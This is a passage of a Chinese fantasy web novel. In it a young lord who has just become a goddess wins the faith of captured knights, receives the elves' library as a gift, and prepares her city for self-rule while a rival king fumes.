而以麦特等今天被治好的三人为首，共计六人的小团体却对此深信不疑： “真是太厉害了！” “原来如此，现在回想起来，一切确实都很不寻常，不然为什么别的地方没有这么可口的食物呢？来之前我还吃过云丝糖呢！真的比云彩还要洁白，比丝线还要细腻！” “哦，听起来真不错，我也知道，只是太贵了，我只给妈妈和妹妹买过一次，还是跟别人拼的……” 威廉听得心烦意乱，也不知哪里来的力气，竟也生硬地打断，“简直是胡说八道，一个可耻的叛徒而已，怎么可能成神！” 而且在人类世界已经多久出现神明了？ 怎么可能落在区区一个小丫头身上！ “再说了，”威廉咳嗽一声，声音沙哑地说，“也不是所有人都康复了不是吗？” 他原本想说对方被收买了，但这段时间大家都在一起，康复的也不止一个人，被收买的可能性不高…… “克劳德女士说过，”一顿折腾下来，麦特的称呼都变了，眼底多了几分连他自己都没察觉的信任和虔诚，“是他们的灵魂不够纯净，之前也做过很多坏事。” 对此，麦特深信不疑。 虽然大家同属骑士团，但贵族内部也有鄙视链，像他和今天被治好的两个人这种新型小贵族，一向被人看不起，经常受到排挤，也因此一直比较守规矩，生怕被谁抓到错处。 但像威廉这种老牌贵族就不同了，高高在上和肆意妄为早已变成了他们身体的一部分，就没有不干坏事的！ 大家表面上一团和气，其实私下关系很一般，大小摩擦不断，谁也看不起谁。 所以对今天这个结果，麦特等三人还觉得挺公平的，也觉得是自己应得的。 看吧，坏事做多了，终于轮到自己了吧？ 又饿又气的威廉眼前发黑，随时都可能陷入昏迷，听到这话却还忍不住扯着气声大吼：“白痴，你看不出来这是那个叛徒故意的吗？这分明就是个陷阱！” 有人看不下去，用不太大，但刚好可以被威廉听到的音量嘟囔：“可是您一开始不就是中了克劳德女士的陷阱，才导致我们全部被俘吗？” 很好，威廉彻底昏死过去。 另一边，波尔虽然没有昏厥，但据此也差不多了。 他万万没想到，对方找自己打探八卦，竟然是为了干这个！‘ 如果是这样，如果是这样……或许，还真有可能！ 单一的魔法师固然强大，但并非不可攻克。 可神明不同。 如果克劳德女士真的已经成功凝聚神格，那么就证明她得到世界规则的认可，彻底已脱离了普通人类的范畴，成为“神”中的一员，奥菲三世对新阿索城的战争将被视为对神明的挑衅，而非人族内部追捕叛徒。 两者的性质和严重程度完全不同了。 根据种族混战后的停战协定，异族间不得以任何借口随意开战。 可再小的神也是神，哪怕现阶段比较弱，也不是人类可以随便欺负的。 神明之间平时可能互不打扰，互无往来，但这也只是神明内部的事。 正如大部分贵族无法容忍平民对自己的挑衅一样，大部分神明恐怕也无法对人类的挑衅保持平静。 如果真的动手，丹茂王国极有可能同时面临若干位神明的怒火。 另外，信仰的传染性太强了，真的太强了，流行瘟疫对上了都要甘拜下风的。 今天克劳德女士的所作所为已经给大家留下深刻的印象，而麦特更几乎原地表现忠诚，恐怕要不了多久，周围众人都要被影响像。 到了这一步，波尔才真正明白云漠的气定神闲哪儿来的： 她打从一开始就没打算被动的等待对方的无功而返的和实力削弱，而是主动出击，像投放污染物那样，让信仰迅速扩散。 她想在最短的时间内，让丹茂王国的战斗部分主动化为自己的养料。 90-97 第91章 叛徒 能治愈三名骑士，云漠非常满意，因为敌对双方存在天然壁垒，那些人对自己别说信仰了，信赖都微乎其微，注定成功率不会太高。 她在付诸实践之前进行了多次彩排，从眼神到动作，每个细节都反复琢磨，试图让自己看上去值得信赖。然后台词无限重复，主打一个质量不够，数量来凑。 结果果然不错。 现在想来，那三人恐怕并不怎么忠于奥菲三世本人，更多的还是将“骑士”视为一份养家糊口、向上晋升的工作，仅此而已。 所以当生命受到威胁，麦特等人的第一反应就是遵循本能求生，而非像威廉那样死守什么尊严、荣耀。 从旁观者角度来看，或许威廉的坚持令人钦佩，但作为对手，云漠更希望他麻溜儿滑跪…… 当然，能有这个结果，负责提供骑士团信息的前任税务官波尔功不可没。 麦特三人皆出身新兴贵族，尚未染上老牌贵族的堕落虚伪，更加务实，家风和人品也相对端正。 相较华而不实的面子、荣耀，生存显然更具诱惑力，所以在忠君还是信神这方面，思想更加开放，底线更富弹性…… 心满意足地梳理完之后，云漠得出结论： 我还有上升空间。 作为新晋神明，现阶段她的神格还比较脆弱，不够稳定，影响力主要集中在信徒内部。 等后期神格凝练强大，非信徒的信仰壁垒将不堪一击，她可以随时随地主动神赐，而对方没有任何拒绝的可能。 不过现在云漠的首要任务是甄别对象，先集中收拢那些没有信仰的人，尽量避免前期就跟其他神明产生纠纷…… 并非云漠过分谨慎，就在前两天她对着新阿索城内城居民们疯狂实验时，隐隐感受到陌生的窥探。 整个过程很短暂且难形容，但确实存在过，让她有种被猛兽盯上的紧绷。 所幸对方没有恶意，似乎只是单纯好奇，又或许是感应到了云漠瞬间本能的不快和抵触，所以很快便收回视线。 云漠立刻进行了“反追踪”，同步开启魔法【透视】，试图捕捉到一点蛛丝马迹。 遗憾的是没有任何发现。 对方就像蒸发在空气中的一抹水痕，没留下半点痕迹，甚至四周的魔法元素排序都没变。 要知道，就连人鱼、精灵这种天生的魔法生物，也必须与游离的魔法元素共鸣才能施展魔法！ 这显然不是普通魔法生物能做到的。 神明！ 可普通人又怎么会引起高高在上的神明们的注意呢？ 只有一个答案： 新阿索城内诞生了新的神明，某一位或某几位百无聊赖的旧神发现了这位新成员，并展现出一点兴趣。 云漠不确定对方是否会再来，但无论如何，谨慎点总没错。 想到这里，云漠拉响墙边的绳子，绳子牵动另一端的铜铃，很快便有一名女仆过来。 “告诉姨妈，让她将麦特三人挪出来，跟本地居民们一起居住，不必给他们特别的优待，也不必过分苛刻，让巡逻队的人远远看着就好。还有，请姨妈安排一下，两天后我将举行义诊……” 云漠已经在城主府内外的人身上试验过了，现阶段赐福成功率最高的就是【烹饪】相关，这个不用多说，甜品屋的火爆说明一切。 然后是【健康】，应该主要得益于她对现代急救和基础医疗知识的积累，最后才是源于【木系】魔法和后世动植物知识储备的【丰收】。 数量很多，跨度更大，只是排序有点问题。 不是【烹饪】不好，但目前最要紧的还是兵强马壮，她得有针对性地多练习。 女仆应下，刚要走又被喊住，“领主大人，您还有什么吩咐吗？” 云漠想了下，提起羽毛笔蘸饱墨水，在羊皮纸上刷刷写了几行，吹干后卷起来，又在接口处打上魔法烙印，“把这个交给霍莉，让她明天去集市甜品屋那边交给一个叫呼尔雅的精灵，托对方转交给纳林霜老师。” 最近事情太多，她恐怕腾不出时间去上课了。 算算精灵巡逻队的轮换顺序，最近应该是呼尔雅那一队吧。 女仆很快离去，临走前还贴心地为云漠关好房门。 做完这一切后，云漠起身来到窗边，看着外面一望无际的浩瀚森林和无尽黑山，用力吐了口气。 空气似乎都随着她的吐息荡开涟漪。 凝聚神格后，她确实跟以前不一样了。 她的身形样貌没有任何不同，但精神力暴涨，与魔法元素的沟通也变得异常轻松，就像，哦，就像蜕变成为某种比人鱼和精灵更纯粹的魔法生物一样。 施展魔法成了本能，曾经需要短暂沟通的基础魔法【新生】，变得像喝水和呼吸那样简单，无需任何预热。 甚至就连稍有难度的【画地为牢】也只需要一个念头，精神力消耗微乎其微。 简单来说，就是她的精神力海洋的边界在弱化，或者说变薄，可以与周边环境融合，使得上限迅速提升。 如果说之前施展魔法需要自身消耗，那么现在精神力触须能够到的地方，都是她的精神力海洋。 她成了真正的无边界容器，恢复速度惊人，理论上的储备无上限。 另外，云漠的饥饿感开始减弱，身体觉得轻盈，物理意义上的轻盈。 她仿佛置身于大海的一条鱼，随时随地被水流托起，精神力触须几乎可以蔓延到任何想去的地方…… 照这个速度下去，或许未来某一天，她不必再拘泥于书面通讯，像现在这样站在城主府书房的窗边，就能直接给远在精灵森林的朋友们直接对话。 这种变化让云漠联想起曾经在精灵森林的六角藏书室中看到的某本人类游侠的笔记。 那位游侠是游吟诗人出身，跟灰鸦一样喜欢搜集各种秘闻，她的笔记中曾有过无法辨别真伪的寥寥数语： 肉/体元素化。 相传神明诞生的渠道各不相同，有的是魔法元素开启灵智，有的则是各种族成员接受信仰后凝聚神格。 比如西北方某个山民就因为生前救助了许多人，又因救人而重伤，弥留之际附近几个村落的人都带着礼品、药材来了。人们的感激和祈求、信仰汇聚成力量，竟让那个人成了当地的山神，守护一方。 而后者成神的衡量准则之一，就是逐渐抛弃肉/体束缚，实现完全的元素化，最终达到真正的“信仰不死，神明不灭”。 人类世界已经太久没有神明诞生了，最有一次有明确文字记载就是那位山神，可惜位置和名称不详，这个说法无从考证。 不过云漠觉得自己现在这种情况，恐怕也瞒不了多久，还是略向两位老师透露下风声，看看反应的好。 当然，最重要的是精灵王的态度。 毕竟云漠现在已经同时面临丹茂王国和态度不明的未知神明的双重考验，如果精灵王再没有积极反馈，她的处境将非常被动。 与此同时，麦特三人也暂时性重获自由。 虽然还是不被允许离开新阿索城，马匹、铠甲、兵器等重要物品下落不明，但他们拿回了属于自己的里衣，甚至还被临时安排住到内外城交界处的一处空屋子里。 “为什么……” 麦特话音刚落，威廉的痛骂就先一步抵达，言辞是一如既往的匮乏，“你们这些叛徒，背弃了王国的信仰和骑士荣耀！” 来传话的阿苗熟练地掏了掏耳朵，直接给他把嘴堵上了，“看来还是吃太饱了，那个谁，明天连水也不要给这位尊贵的先生了，以免玷污他高贵的信仰！” “好的！”看守爽快答应。 送水多累啊，那么沉！ 哎，真是位善解人意的绅士！ “好了，跟我走吧。”前任税务官波尔不知从哪里钻出来，往阿苗随身携带的羊皮卷上签了个名字，转身对麦特三人说，“先生们，接下来几天你们直接由我负责，看在大家这些天的遭遇的份儿上，请务必不要令我为难。” 相信我，反抗不会给你们带来任何积极结果的…… 这句话他没有说出口，因为总觉得可能会激怒对方。 麦特三人确实有瞬间羞恼： 见鬼的这些天的遭遇，你分明早就跟克劳德勾结在一起，遭遇不幸的只有我们！ 但当眼角余光瞥到毫无尊严地被堵住嘴的威廉长官后，麦特等人又很明智的保持了沉默。 直到一行人穿过忙碌的人群，跨过潺潺流动的溪水，来到外城区，看着眼前一家又一家店铺和初具繁华形态的街道时，麦特才忍不住问出口，“这到底是怎么回事？” 不是说新阿索城贫困潦倒么，可眼前来来往往的人群又算什么！ 你果然是叛徒！ 波尔无视背后三人六道火辣辣的视线，遵照街道和门牌号指示来到一座空屋子前，推门进去，边介绍内部构造边说：“这就是你们接下来的住处了，那是……算了，也没什么好说的，想必聪明的先生们立刻就能懂了，哪怕大事上依旧糊涂着。” 说到最后，连日来一直两头受气的忐忑波尔终于也爆发了，“该死的，我不过是个小小的倒霉的税务官而已，上头的老爷们想立功却不想吃苦，所以打发我来，我能有什么办法呢？你们如果真的那么高尚，来谴责我，那么乖乖接受克劳德女士治疗和神赐的你们又算什么？哪怕当时无法反抗，现在完全可以去死的，怎么不去呢？我只是想活着，活着而已，你们这些高高在上的骑士懂什么！” 他越说越激动，喷射的唾沫星子在空气中划出流星般的轨迹，日益瘦削的脸庞都因为愤怒而涨红了，“你们知道当初和我一起来的税务官怎么样了吗？哈，尊贵的先生们，不要被眼前的一切所迷惑，你们脚踩之地是众所周知的众神遗弃之所！无序之所、混乱的根源！外头那些游民连国王陛下亲自颁发的文书和官员印章都敢偷，刻有官方标记的马车和马匹都敢专卖，还有什么是他们不敢做的？！ 现在的安稳完全有赖于一位强大而可靠的领主，而并非什么遥远的陛下！眼前的繁华也只是最近几天刚刚建立起来的，如果刚才你们看到的那些粮食无法顺利成熟，这些都将成为泡影……所以面对这么一群穷人，我们怎么收税？” 在麦特等人印象中，波尔一直都是一个近乎窝囊懦弱的底层官员，正因如此，这次爆发才更具说服力和威慑力。 三名衣衫不整的骑士都陷入沉默。 他们并非老贵族出身，也曾混迹城市底层，自然知道波尔说的是事实。 发泄过后，波尔的情绪平复许多，也有点迟来的尴尬和后悔。 毕竟自己只是个小官，而眼前这几位可是拥有不俗的武技，一旦恼羞成怒，随便给自己一拳头…… 为了缓解尴尬，波尔清了清嗓子，语气真挚地说：“看在大家曾经的遭遇的份儿上，请务必将我接下来的话放在心上，年龄、外表和资格那套在这位克劳德领主身上统统不适用，不过虽然她有些过分心狠手辣，但……” 波尔的本意是让麦特等人认清对手的强大和狠辣，可万万没想到，等他说完，麦特三人却露出一副不太赞同的表情。 麦特拧起眉头，非常认真地说：“虽然之前有过种种不快，但单从为人方面来说，我个人认为以克劳德领主的能力而言，算是一位相当宽容仁慈的领袖。” 另外两人也跟着点头，显然对麦特的评价相当认同。 坏脾气的贵族老爷他们见得多了，各个儿都是难伺候的，偏偏还没有什么真本事。 可这位克劳德领主呢？ 她可是一位货真价实的神明呀！ 神明有点脾气难道不是应该的吗？ 波尔一脸活见鬼：“……哈？” 刚才骂我的是谁啊！ 你们是不是忘了当初把你们扒光了吊起来打的是谁了？！ 咱们到底谁是叛徒！ 第92章 转变 确认了麦特等人的心态后，波尔对他们的态度就发生了巨大的转折。 他觉得可怜的自己一定是因为最近接连的巨变而备受打击，以至于心理发生了可怕的扭曲。 具体表现为极度的矛盾： 最初麦特等人拒不合作，并大肆辱骂克劳德女士，哦，现在是女神了，辱骂女神时，波尔觉得他们非常不识时务，恨不得掐着他们的脖子疯狂摇晃，让他们立刻认清现实。 可现在对骤然变为女神的走狗，咳，信徒，前后反差之大，难免令波尔很难适应，并变态般滋生出一种叛逆：你们怎么敢？！ 你们凭什么！ 你们的骑士尊严和贵族荣耀呢？没有羞耻心的吗？ 所以当另一位骑士看着崭新的外城区，以及那些明显专门为了普通居民设置的各种场地，非常不解地询问为什么时，“我不明白，为什么要对贱民这样好。” 波尔立刻不耐烦地说：“没有这些人，难道要尊贵的骑士们亲自去养马喂猪吗？” 虽说话糙理不糙，但这话未免也太糙了，毫无防备的麦特三人顿时被噎个半死，同时也觉得似乎有哪里不对劲。 但刚才问话那人的神经明显比较粗大，愣了下，竟然又嘟囔道：“但也不必对她们这么好吧？” 看看街边那些整齐干净的房屋吧，一点儿都不输给王城很多中下层小贵族！让人心里真不舒服。 而且那位疑似成神的克劳德女士竟然还为平民治疗？！ 那可是伟大的魔法师兼药剂师啊，要知道，一般贵族都未必有幸近距离接触这样的大人物呢！ 不过是一群低贱的平民罢了，竟然…… 波尔没好气道：“没长嘴吗？自己去问！” 最好惹得女神生气，打死你们算了！ 麦特：“……” 你是吃了爆炸草吗？ 波尔也意识到自己的事态，但话已出口，他也……不后悔！ 哼，凭什么只有我代价惨重，而你们只是病了一场就获得宽恕和救赎！ 一群人陷入了短暂的沉默，周围街道上的喧嚣仿佛在瞬间清晰起来，为缓解尴尬，四个人都装成很忙很好奇的样子，局促而忙碌地打量着四周，试图获取更多信息。 粮食产量渐趋稳定后，城中就开设了官方面包店，不擅耕种和烘焙的居民们可以直接前来购买。 波尔带着三名骑士站在新房子门外说话时，正好有一对母女迎面而来，她们衣着朴素，没有佩戴任何饰品，显然只是新阿索城最底层最常见的平民。 而就是这些平民，怀里却抱着蓬松的面包，眼神明亮，脸上洋溢着满足的笑容。温暖的香气沿途铺开，相当诱人。 饥肠辘辘的麦特等人忍不住多看了几眼，愕然发现，那面包的成色竟然很好！ 那面包里竟然没有麸糠！ 麦特简直不敢相信自己的眼睛，本能地上前两步，把那对母女吓了一跳。 妈妈下意识将孩子护在怀中，看见不远处的巡逻队员后又迅速放松下来。 见麦特两眼发直地望着自己的面包，妈妈犹豫了下，忍痛掰下来一块，递过去，“哝。” 这一两年来新阿索城的新人很多，虽然城主大人慷慨地接纳了大家，但未必每个人都能立刻找到活儿干。 这个年轻人虽然看上去傻乎乎的，但身体强壮，也没有乱来，一定是遇到什么难事了，让她情不自禁地升起一点怜悯，并安慰道：“嗨，最初几天局促点儿，这没什么。这里的人都很友好，你还很年轻，只要跟朋友们一起努力，相信一定可以过上好日子的。” 说完，也不管麦特什么反应，径直将面包塞进他手中，带着孩子离开了。 麦特的目光追随着她，转过身去，似乎想说什么，可又说不出来，只是低头看着手里还带着余温的面包。 短暂的沉默过后，麦特咬了一口。 很香，是面粉特有的香气，虽然有些粗糙，但确实没有麸糠！ 单纯论口感，甚至比麦特等底层骑士吃得都好点！ 意识到自己过的可能还不如新阿索城的普通平民后，麦特三人心中难免不是滋味。 如果真的是这样……那么过去这么多年自己和长辈们的辛苦奋斗又算什么啊！ 看着陷入自我怀疑的麦特，波尔突然对他没了怨气，甚至还走上前，用力拍了拍对方的肩膀。 想开点儿吧，朋友！ “习惯后会好的。” 哦，这该死的熟悉的感觉！ 就在不久前，波尔也是这样的落差，这也是直接导致他同意冒着叛国的风险将家人接到这边来生活的最大原因。 当然，克劳德女士本人的人格魅力功不可没，包括并不仅限于强大的实力和宽容的内心。 什么？ 不不不，宽容的王者之心当然更重要！ 而且波尔最近越来越坚信自己这个决定的英明，因为很多曾经以为的富贵荣华，竟然只是新阿索城最不值一提的部分…… 除了无法再像以前那样凭借税务官的身份高高在上耀武扬威之外，波尔没感觉出任何生活落差。 精灵森林。 “你是说，”精灵王高高扬起一边的眉毛，显出十二分兴致，只是表情似乎并不如何意外，“那个不久前还来做客的人类领主，已经凝聚出神格？” “恐怕是这样。”银星点头。 “哈，这可真是有趣。”精灵王饶有趣味的歪了歪脑袋，深邃的翠眸看向不知名的远方，“距离上一位人类神明的诞生，似乎已经过去很久了……” 精灵王显然并不是真正在意时间，所以银星便也没有回答。 早在若干天前，部分高等精灵就曾隐约感应到某种奇特的力量波动，那波动非常接近于森林女神现身赐福时的情形，但又很陌生。 当时大家只以为是某位不熟悉的神明路过，并未太过在意。 但很快，那种波动便再次出现，并在最近一段时间内频频出现，位置非常固定。 与此同时，森林东部边缘的纳林霜传来重大消息…… 如在战时，人族内诞生神明对精灵族自然不是好事，虽说神明不便随意插手普通世界的事务，但神明也有私心，难免会偏心一点。 可现在？ “我记得，那位小领主与人类母国的关系并不算好。”精灵王懒洋洋道。 “是的。”银星回答说。 正因如此，在过去相当漫长的一段时间内，新阿索城与精灵森林的关系远比人类世界更密切，而克劳德领主本人身边也只有精灵朋友。 “那就没什么好担心的了，”精灵王换了个姿势，随意一摆手，十分潇洒，又微笑着对银星说，“去吧，去为新神送上精灵族的祝福。” 与此同时，宫殿外的紫叶和以瑟琳为首的三精集团正面面相觑，显然对这个大消息尚未消化完全。 太难以置信了，不久前还跟自己一起吃喝玩乐的人类小伙伴……竟然成神了？！ 四只年轻的精灵面面相觑，也不知谁先开口，“那么，外面以后要像侍奉神明那样……” 话没说完，四只精灵便整齐地抬起头，努力想象了一下那种场景，然后四张精致的漂亮脸蛋儿上同时浮现出混杂着尴尬和肉麻的无法容忍。 太可怕了！ 真的做不到！ 大家都太熟了！ 于是稍后银星出来时，面对的就是一片皱巴巴的精灵脸蛋儿，“怎么了？” 精灵队员们齐齐摇头。 事实证明，普通人类虽然没有魔法，但对特定消息的敏锐度一点儿都不输魔法生物！ 银星带着使团正式拜访城主府时，就发现那里已经热闹非凡，大门口挤满了前来表态、探口风和加盟的人类世界各国各部族代表，有眼熟的，也有压根儿没听过的。 人声鼎沸，相较之下，东面的集市竟然都显得安静的多了。 对此，云漠不胜其烦，干脆利落地将这些事情统统交给玛雅姨妈和霍莉去做。 而玛雅姨妈和霍莉也不堪其扰，转头就简单粗暴地甩给大小河两姐妹。 对此，访客们很有意见，但……不敢说。 谁敢质疑神明的安排？ 在身边的就是神使，别说只是两个孩童，就算两头猪，也是代表女神的意思，谁敢质疑？ 但云漠亲自接待了银星一行。 对纳林霜的缺席，云漠反而松了口气，证明双方的师生关系并未因为自己身份的变动而变质，那位老师依旧是令人敬重的大师。 银星也是见惯大世面的精灵，对待云漠的态度也没有太多变化，只是紫叶和瑟琳等年轻一辈，真正见面时，难免有点不自在。 云漠眨了眨眼睛，“瑟琳，你的铭文功课完成了吗？” 瑟琳近乎本能地捂住额头，然后就愣了下。 下一秒，在场的所有生物都笑起来。 笑声彻底粉碎了尚未成型的尴尬，一切不适都随风散去，似乎重新回到了曾经什么都没发生过的样子。 简单寒暄过后，银星以官方口吻向云漠转达了精灵王的祝贺和问候，并送上贺礼。 云漠曾无数次从精灵族得到礼物，有私人的，也有官方的，但这西跟以前的完全不是一个等级。 很隆重，比面向人类君王更加隆重。 若干人类世界罕见的珍贵宝石，精致的精灵长袍，日光下星光闪烁，美丽非凡； 附魔的精灵长弓和箭矢，能最大限度减小风的影响，让射出去的箭矢速度更快、威力更大； 锋利的匕首雪一样闪亮，吹毛断发，锋利异常…… 而压箱底的，竟然是六角藏书室！ 精灵王让银星将整座六角藏书室的所有树屋都原封不动地挪了过来！ 第93章 戏剧性【捉虫】 六角藏书室！ 种族混战前最后的文明盛典，无数人类精英的智慧结晶，曾带给云漠无数启发的宝藏！ 曾经的借阅权突然升级成所有权，其跨度之大令人咋舌。 太贵重了。 想象中的倒吸冷气或欣喜若狂完全没有出现，因为云漠这一瞬间的脑海中一片空白。 原来如果惊喜太大太意外，是真的可能变成惊吓的。 云漠下意识向银星投去询问的目光，对方微笑着点了点头。 云漠：“……” 不是，你们来真的啊？ 外界对六角藏书室知之甚少，但并非无人知晓，曾经就有若干人类王国和部族高层对内部藏书的归属问题向精灵王发问，后者的回应极其嚣张： 我需要向你们解释吗？ 是的，强者不需要向任何人解释。 当然，精灵王做出这种决定并非贪图藏书，而是种族混战过后，曾经的六角藏书室成员们死的死，散的散，有的甚至连所属王国和门派都亡了，根本无处归还。 而且那些人索要也大多居心不良，所以干脆都不还。 如此烫手的山药，现在却都一股脑塞给云漠。 云漠很有理由怀疑这是精灵王的恶趣味。 “只是我从未保存过数量如此巨大的珍贵藏书和资料……”图书管理员可不是谁都能胜任的，云漠真心实意地担忧起来。 去精灵国内部借阅自然不如翻阅私产来得方便，可留在精灵国内部，至少可以免于损毁，落到自己手里……真的不会发霉开裂吗？ “精灵族永远不会让真正的朋友为难，”银星微笑着说，“王特意让我奉上藏书魔法。” 这是一个很生僻且刁钻的魔法，魔法阵内可以保持恒定的温度和湿度，通常多见于各族珍宝库。 做到这一步，可见精灵王确实把云漠可能想到的一切回绝理由都提前回绝了。 见昔日的人类弟子露出一副难以形容的复杂表情，银星终于找到一点曾经的成就感，善意提醒说：“相信自己，现在的你已经跟以前不一样了。” 不一样了。 云漠愣了下，突然意识到一个问题，那就是她其实还没有真正适应身份上的转变，没有真正接受自己已经成神这件事。 甚至就在刚才，不擅长保存藏书之余，她想得更多的竟然还是“万一其他国家的人借机发难怎么办？我应付得过来吗？” 她现在的顾虑也好，努力方向也罢，仍是从一名人类领主的角度出发的，落点也是人与人之间的内斗。 但实际上，成神这件事早已彻底扭转了她和丹茂王国之间的势力对比平衡： 神明永远不可能屈居人下，哪怕对方是人皇，人君。 这是个神明稀缺的时空，根据各族不成文的规矩，一境之内出现神明，若为无主之地，那么当地百姓直接奉该神为主宰；若属有主之国，该国国王要么将神明笼罩之地双手奉上，要么就要退一步成为神明之下第1人，实现人神共治的双头格局。 无论怎么选，从凝聚神格的那一刻起，云漠都已经立于了不败之地。 其他人类领袖也不可能为了几本还不确定内容和数量的藏书公然对一位神明发难。 毕竟藏书是死的，即便拿到手也未必有攻克和继承的天赋；而新神却是活的，一旦招惹怨怒，报复招手就来…… 可以说迄今为止云漠和新阿索城所遇到的最大威胁正在以一种始料未及的角度和方式，如夏日雪山般，以匪夷所思的速度消融。 云漠突然感到无比轻松，轻松到近乎荒唐。 我准备了这么久的应对措施，很可能……用不上了？！ 所以现在头疼的应该是奥菲三世。 或许他已经在头疼了，更多的是后悔，后悔为什么没有早一步下手，为什么当初就听信了波尔的讹传…… 继精灵族之后，以虎部落为首的兽神联盟也来道贺。 虎部落派出的代表是石斧，为表诚意，兽神联盟主动派出若干优秀的战士，免费帮云漠训练士兵。 而云漠也公开表示，新阿索城和她个人的对外关系不会有任何更改。 而以阿苗为首的巡逻队新生代训练也很努力，可努力之余，难免也有点不理解。 “大人，既然您说我们这次的危机已过，为什么大家还要辛苦训练呢？” 最初大家都叫云漠领主大人，但现在她既然已经凝聚神格，叫领主就有些侮辱了。 可直接称呼神明，云漠自己就觉得有点中二尴尬，所以干脆模糊，统称大人。 “时空对我的约束力正在减弱，总有一天我会离开这个地方，去遥远的外面看看，或许十天半月，或者一年半载，甚至十年、二十年都不会回来，你们要学会自己保护自己。” 云漠这样说。 授人以鱼不如授人以渔，她在的时候，周围各方势力乃至野兽自然畏惧威势不敢侵犯，可如果离开得太久了呢，如果因为某些事绊在外面或者彻底忘了这个地方呢？ 毕竟凡人的生命对比神明而言实在太过短暂了，新阿索城的人必须有自保的能力才行。 “大人，您要走？您要去哪里呢！” 阿苗被这个消息砸懵了，她从未想过云漠会离开。 大人这样年轻，这样可靠，大家都潜意识地将她作为可以终生依靠的山峦，山峦怎么会离开呢？ 云漠没有说话，只是抬起手，貌似不经意地在虚空中划了一下，然后阿苗惊讶地发现本该空无一物的空气中竟隐隐泛起涟漪。 “这，这是什么？” “时空，”云漠收回手，语气平静道，“或者你也可以理解为世界规则，就像你饿了要吃饭，困了要睡觉一样，想要活着，就必须受到某些无形规则的束缚……” 原本的云漠也像普通人一样，好不容易有了点魔法和铭文造诣，便开始苦苦研究时空魔法，无奈收效甚微。 可自从凝聚神格，一直以来束缚着她的时空规则就有了活动的痕迹：她感受到了躯体的元素化。 说到底，强大的魔法师之所以能够实现时空旅行，就是以自身强大的实力为媒介，暂时性的打开了一道特殊通道，算是世界本源之力对强者的认可，允许她们大开方便之门。 但纵然是强者，也还只是人的范畴，对世界而言是游离在外的异物，开门前必须刷卡。 而这个卡，就是传送阵。 可神不同。 神格就好像这个世界的真正入场券，只有你凝聚了神格，世界才真正承认了你的存在，你将逐渐化为世界意志的一部分。 说得简单点，当你强大到一定程度，世界才会把你当成真正的家人。 而既然是家人，自然来去自如，用不着再费尽周折地弄什么传送阵之流的“门票”。 阿苗感受到了迟来的悲伤。 直到此时此刻，她才像云漠终于认清自己的身份转变一样意识到人确实不是山，终究会离开的。 她不能这么自私，自私的把神明困在一个地方。 阿苗甚至差点脱口而出：大人，请让我追随在身边吧。 可话到嘴边又生生咽了回去。 我太弱小了，这样弱小的我，即便大人答应带出去也只是出于怜悯，非但不能为大人做什么，反而会成为累赘。 想到这里，阿苗不禁沮丧起来。 为什么我这么努力了，到头来还是什么都做不了呢？我可真没用呀。 “不，阿苗，你很有用。”凝聚神格后的云漠已经可以轻而易举地倾听信徒们的心声，于是第一时间打断了小姑娘的胡思乱想，声音柔和地说，“这里毕竟是我的家，也可能是唯一真正的家，或早或晚我总会再回来看看的，而你们要做的就是把家管好。” 就算有一天真的会离开，她也会在内外设置精灵森林那样的强大的防御魔法阵。 如果没有意外，在这片土地上生活的人们世世代代都将是信徒，是她信仰之力最纯粹也最厚重的来源，也是她即便遭遇危机也有机会翻身的最后底牌，当然不可能抛弃。 培养大家的单人能力很重要，但选拔各方面的继任者则更重要，现在看来，玛雅姨妈无疑是大管家的最佳人选，而一直被她带着的大河无论整理内务还是迎来送往，以及开展各方面的经济文化整顿，都很有模有样的。 霍莉是甜品制造产业链和对外营销贸易领域当之无愧的接班人，个人武力值也强…… 有她带着小河和青草那帮人，也不愁什么。 任何一方势力想要持续稳定的发展，政治、军事和经济缺一不可，玛雅姨妈和霍莉分别承担了政治和经济两方面，至于军事空缺，云漠思来想去，觉得阿苗是个很好的选择。 她年纪小，天赋高，胆子大，有充足的时间赶在自己离开前成长起来，而且信仰最为忠诚，炽热浓烈，由她带领的巡逻队，整支武装力量，都将是自己的狂信徒。 只要这支力量一天不灭，自己的信仰之火就一天不熄，云漠就是真正意义上的永生。 “答应我，阿苗，不要让这里再次荒芜，好吗？” 云漠的笑容是如此真诚，眼神是如此坚定，瞬间安抚了阿苗躁动彷徨的心灵。 小姑娘立刻重重点头，“大人您放心吧，我一定会好好干的！” 接下来事情的发展颇有戏剧性，先是附近两个小国联合发表公告，率先承认新阿索城的独立地位，并带头派出使者向云漠克劳德献礼。 献礼的标准也很有趣。 整体标准比给人皇的更高，却又明显低于那些成名已久的旧神，非常符合一位新晋神明的待遇。 第94章 全新 承认新阿索城的独立地位，无异于挑唆丹茂王国内部分裂，瞬间将暗处的矛盾激化，行为相当出格。 但一切都有迹可循： 率先表态的两个王国的创立者是一对兄弟，当年曾与丹茂王国的创建者数次冲突，而这三个邻国又在后续的若干年内发生过种种矛盾，包括并不仅限于争夺珍贵矿产、水资源等等…… 其实这两个小国并不准备追寻神明，但一想到能恶心到奥菲三世，或许还能博得一位新晋神明的好感，两国国王就很快乐。 奥菲三世确实被气得不行，连最心爱的水晶杯都摔碎了，半夜紧急传唤了医官。 闻讯而来的骑士团团长路尔乔娜沉声道：“陛下，现在追究克劳究竟是如何成神的，或是回击外界传闻都没有任何意义，重要的是如何应对。” 无论愿不愿意接受，事实就是事实，无法更改，接下来才是最关键的。 她是一位拥有三十多岁外貌的成熟女性，深棕色波浪发高高挽起，越发显得身材高大挺拔，整齐的银色铠甲和长剑在灯光下闪闪发亮，但都亮不过那双坚毅的眼睛。 奥菲三世嘴唇紧抿、眉头紧锁，一言不发，显示出十二分的不甘心。 路尔乔娜无视他的痛苦，又说：“恕我直言，您应该暂停所有不切实际的幻想，最大限度的展现出友善。” 事到如今，难道要寄希望于一位神明低头吗？ 这太荒唐了。 哪怕对方曾经是人类。 奥菲三世猛地望过去，两只眼睛几乎要喷出火来，声音像是从牙缝里挤出来的，“路尔乔娜，别忘记你的职责！” 持续的坏消息令他连续几日无法入睡，眼中布满血丝，眼眶凹陷，底部乌青，看上去非常可怖，连贴身侍从都不敢直视，但路尔乔娜却没有半点畏惧，甚至连语气都没有一丝起伏。 路尔乔娜，意为“希望之星”，非常美好的名字，而她本人也确实没有辜负国人的期望，以极其出色的武者天赋和坚定的信念迅速成长，曾数次带领王国骑士团解决危机。 “我从未忘记自己的职责，”路尔乔娜手握长剑，严肃地看着他说，铠甲随着她的动作发出清脆的摩擦声，“恰恰相反，正因我牢记自己的职责才过来对您说这些话。” 大多数人对骑士团的了解只流于表面，误以为是国王的私产，久而久之，国王本人也会产生类似的错觉。 